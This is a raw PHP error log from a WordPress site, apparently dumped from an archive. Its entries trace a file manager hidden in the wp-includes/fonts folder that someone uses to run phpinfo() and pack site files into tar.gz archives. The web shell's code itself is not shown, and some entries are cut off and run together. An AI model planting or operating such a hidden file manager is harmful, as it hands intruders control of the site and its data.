-alt2video-alt3visibilitywarningwelcome-add-pagewelcome-commentswelcome-learn-morewelcome-view-sitewelcome-widgets-menuswelcome-write-blogwhatsappwordpress-altwordpressxingyes-altyesyoutubePK#[ ova/error_lognu[[29-Aug-2025 22:34:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [29-Aug-2025 22:34:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [29-Aug-2025 23:35:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [29-Aug-2025 23:35:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:38:45 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:38:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:42:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 04:42:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:23:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:23:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:50 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:28:50 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:29:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:29:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 05:29:28 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.c[30-Aug-2025 07:24:34 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 07:24:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 07:42:46 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 07:42:51 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 09:31:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 09:31:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:13:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:13:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:22:17 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 11:22:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:12:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:12:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:16 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:21 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:41:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:47:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 13:47:10 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 14:52:59 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 14:53:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:02:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:02:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:02:27 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 596 [30-Aug-2025 15:02:27 UTC] PHP Warning: Cannot modify header information - headers already sent by (output started at /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1) in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 597 [30-Aug-2025 15:28:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:28:41 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:33:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 15:33:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 17:14:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 17:14:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 19:49:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 19:49:30 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 19:49:30 UTC] PHP Fatal error: Uncaught Error: Call to undefined function phpinfo() in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:669 Stack trace: #0 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 669 [30-Aug-2025 21:51:01 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 21:51:06 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 21:56:00 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 21:56:05 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 22:17:53 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 22:17:58 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:14:36 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:14:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:14:40 UTC] PHP Warning: Undefined variable $ext in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1118 [30-Aug-2025 23:16:56 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:16:56 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:04 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:04 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:19:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be fou[30-Aug-2025 23:20:20 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:20 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:27 UTC] PHP Fatal error: Uncaught BadMethodCallException: phar "/home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php:1118 Stack trace: #0 /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php(1118): PharData->compress(4096, 'php.tar.gz') #1 {main} thrown in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 1118 [30-Aug-2025 23:20:33 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:33 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:39 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:44 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:44 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:44 UTC] PHP Warning: fileperms(): stat failed for /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/error_log.tar.gz in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 137 [30-Aug-2025 23:20:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:48 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:52 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:20:52 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:19 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:19 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:21:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:30:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:30:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:32:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:32:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:33:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:33:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:33:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:34:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:34:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:34:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:29 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:35 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:42 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:35:47 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:24 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:29 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:40 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:48 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:36:53 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:12 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:32 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:54 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:37:54 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:31 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:36 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:37 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:37 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:38:47 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by 